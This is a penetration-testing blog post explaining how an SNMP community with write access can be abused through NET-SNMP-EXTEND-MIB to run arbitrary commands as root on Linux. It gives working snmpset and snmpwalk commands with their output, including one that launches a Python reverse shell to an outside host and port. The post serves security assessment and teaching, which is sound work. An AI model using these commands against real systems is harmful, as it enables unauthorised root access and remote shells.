(Ab)using Linux SNMP for RCE

How to use a SNMP write community to gain (remote) code execution as root on Linux systems

Posted by Hans-Martin Münch Timo Müller on 30 Oct 2019 | Tags: SNMP Linux penetration-test privilege-escalation

TL:DR: If you have a SNMP community with write permissions on a Linux target, you can get code execution by abusing the NET-SNMP-EXTEND-MIB extension. The SNMP daemon is running as root, making this also a nice local privilege escalation vector.

We recently used this feature to gain root permissions during an assessment. As the Linux systems has been analyzed several times before, we assume that this issue is not widely known by other penetration testers. As so often, we are not the first one that discovered this, in fact there already exists a write-up by Kert Ojasoo. In this blog post, we try to provide the technical background and how this configuration can be exploited efficiently.

We assume that the reader has basic knowledge about the SNMP protocol and common SNMP-related attacks like “public” community strings. We therefore only cover the relevant parts here.

SNMP MIBs

The term “MIB” stands for “Management Information Base”. A MIB file defines all data objects provided by a particular component. MIBs basically acts as a code book for SNMP as they describe what can be accessed via SNMP and the datatypes returned by the component.

A MIB is described in a text file, using a notation defined by Structure of Management Information Version 2.0 . This text file can be used by an MIB compiler. You can review the MIBs that are supported by the net-snmp package to get an idea how they look like.

The MIB file also defines the OIDs (an ID to access the asset, similar to an IP address). You can use the “snmptranslate” command to do get the OID for a item defined in the MIB:

[lowpriv@centos6 ~]$ snmptranslate -On SNMPv2-MIB::system.sysUpTime.0
.1.3.6.1.2.1.1.3.0

As an SNMP Manager (for example when using snmpwalk) you don’t actually need the MIB as you can always use the OID to access a value. However, a MIB helps you to understand SNMP responses obtained from your network devices.

Extending SNMP services

The SNMP service can be extended in multiple ways, one possibility are the functions provided by the MIB “NET-SNMP-EXTEND-MIB”. From the RedHat Linux Documentation:

The Net-SNMP Agent provides an extension MIB (NET-SNMP-EXTEND-MIB) that can be used to query arbitrary shell scripts. To specify the shell script to run, use the extend directive in the /etc/snmp/snmpd.conf file. Once defined, the Agent will provide the exit code and any output of the command over SNMP.

So, by invoking the NET-SNMP-EXTEND-MIB over SNMP, it is possible to call arbitrary scripts/executables on the server. As the SNMP service is running as root, the script will be executedwith full permissions.

Here a small example script that we will call via SNMP:

#!/bin/sh

who=`whoami`

echo "Executed via SNMP, running as $who"
echo "First argument: $1"

The format of the extend command in the snmpd.conf is as follow:

extend name prog args

Example:

extend mogwai_labs /bin/snmpscript.sh test123

You need to restart the SNMP service to reload the modified configuration. After that, we can get the output of the extension via snmpwalk, querying the NET-SNMP-EXTEND-MIB MIB. The default output of snmpwalk does not contain this information by default.

[lowpriv@centos6 ~]$ snmpwalk -v2c -c c0nfig localhost NET-SNMP-EXTEND-MIB::nsExtendObjects
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendCommand."mogwai_labs" = STRING: /bin/snmpscript.sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."mogwai_labs" = STRING: test123
NET-SNMP-EXTEND-MIB::nsExtendInput."mogwai_labs" = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."mogwai_labs" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."mogwai_labs" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."mogwai_labs" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."mogwai_labs" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStatus."mogwai_labs" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."mogwai_labs" = STRING: Executed via SNMP, running as root
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."mogwai_labs" = STRING: Executed via SNMP, running as root
First argument: test123
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."mogwai_labs" = INTEGER: 2
NET-SNMP-EXTEND-MIB::nsExtendResult."mogwai_labs" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."mogwai_labs".1 = STRING: Executed via SNMP, running as root
NET-SNMP-EXTEND-MIB::nsExtendOutLine."mogwai_labs".2 = STRING: First argument: test123

As you can see, the script is executed as root and we can get the full output from the console. Be aware that the output from snmpwalk might be a bit misleading here, you are actually looking at the “nsExtendObjects” table which currently has a single row.

Abusing NET-SNMP-EXTEND-MIB

If you read the RedHat or net-snmp documentation, you might think that you can only extend the SNMP service by changing the configuration file. However, this is not entirely true. While you are not able to modify existing entries that were configured in snmpd.conf, it is possible to add additional commands over SNMP, because the “MAX-ACCESS” permission setting in the MIB definition is set to “read-create”, and also supported by the source. This allows you to define and execute arbitrary commands via SNMP (if you have the necessary permissions, for example with a rw-community string).

Adding a new command basically works by appending an additional row to the “nsExtendObjects” table. Unlike SQL, SNMP does not have an INSERT statement, however this works by setting the “nsExtendStatus” property to the value “createAndGo”:

Here is an example how this can be done with the “snmpset” command. NET-SNMP-EXTEND-MIB requires that you always provide the absolute path to the executable. The called binary/script must also exist and be executable:

[lowpriv@centos6 ~]$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
    'nsExtendStatus."evilcommand"'  = createAndGo \
    'nsExtendCommand."evilcommand"' = /bin/echo \
    'nsExtendArgs."evilcommand"'    = 'hello world'

After that, you can access your new command with snmpwalk, equally the command that was configured in the snmpd configuration file:

[lowpriv@centos6 ~]$ snmpwalk -v2c -c c0nfig localhost nsExtendObjects | grep "evilcommand"
NET-SNMP-EXTEND-MIB::nsExtendCommand."evilcommand" = STRING: /bin/echo
NET-SNMP-EXTEND-MIB::nsExtendArgs."evilcommand" = STRING: hello world
NET-SNMP-EXTEND-MIB::nsExtendInput."evilcommand" = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."evilcommand" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."evilcommand" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."evilcommand" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."evilcommand" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."evilcommand" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."evilcommand" = STRING: hello world
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."evilcommand" = STRING: hello world
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."evilcommand" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."evilcommand" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."evilcommand".1 = STRING: hello world

Unlike the hardcoded command in the snmpd config, it is possible to change the values of our new entry afterwards. This allows you to change arguments or the path to the script/executable itself:

[lowpriv@centos6 ~]$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
    'nsExtendArgs."evilcommand"'    = 'modified argument'

After we are done, we can delete the row by setting the nsExtendSatus to “destroy”, similar to a SQL DELETE statement.

[lowpriv@centos6 ~]$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
    'nsExtendStatus."evilcommand"'  = destroy

NsExtendExecType

NET-SNMP-EXTEND-MIB differs between the execution of scripts and binaries. Scripts will be passed to the “system()” call, while binaries are executed via execve(). This setting is controlled through “NsExtendExecType”, the MIB definition lists two possible values here:

nsExtendExecType OBJECT-TYPE
    SYNTAX      INTEGER
               { exec  (1), -- 'fork-and-exec'
                 shell (2)  -- run via a sub-shell
               }

Most of the time, using the nsExtendExecType “exec” (1) should work for you. If you are the “shell” variant (2) keep in mind that net-snmp already uses pipes to redirect the in-/output, therefore your common reverse shell bash one-line won’t work. However, the Perl/Python Reverse Shells work just fine.

Here an example how to get a reverse shell via with Python:

[lowpriv@centos6 ~]$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
    'nsExtendStatus."evilcommand"'  = createAndGo \
    'nsExtendCommand."evilcommand"' = /usr/bin/python \
    'nsExtendArgs."evilcommand"'    = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"192.168.239.210\",8888));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

UCD-SNMP-MIB

The net-snmp package also provides support for the “ucdavis” MIB UCD-SNMP-MIB. Like NET-SNMP-EXTEND-MIB, it provides a table (“extTable”) that allows you to get access to the output of external scripts. These scripts/executables are defined in the snmpd.conf with the “exec” call, similar to the “extend” version.

exec echotest /bin/echo hello world

XOu can invoke the output by calling the UCD-SNMP-MIB::extTable (OID .1.3.6.1.4.1.2021.8)

[lowpriv@centos6 ~]$ snmpwalk -v2c -c c0nfig localhost UCD-SNMP-MIB::extTable
UCD-SNMP-MIB::extIndex.1 = INTEGER: 1
UCD-SNMP-MIB::extNames.1 = STRING: echotest
UCD-SNMP-MIB::extCommand.1 = STRING: /bin/echo hello world
UCD-SNMP-MIB::extResult.1 = INTEGER: 0
UCD-SNMP-MIB::extOutput.1 = STRING: hello world
UCD-SNMP-MIB::extErrFix.1 = INTEGER: noError(0)
UCD-SNMP-MIB::extErrFixCmd.1 = STRING:

Unlike the NET-SNMP-EXTEND-MIB table, this table/object is not writeable, therefore this extension can’t be exploited.

Conclusion

Having an SNMP user/community with write permissions on a Linux target allows you to execute arbitrary code on that system as “root”. SNMP is rarely used in Linux environments to configure system settings (especially if dedicated tools like Puppet or Ansible are used). However, if in place, they provide a great opportunity to get reliable code execution with root permissions.

The SNMP configuration file (/etc/snmpd.conf) should only be readable by root, however we had several security reviews were this file was world-readable. Make sure that you check this file permissions and the configured users/community-strings on your next assessment.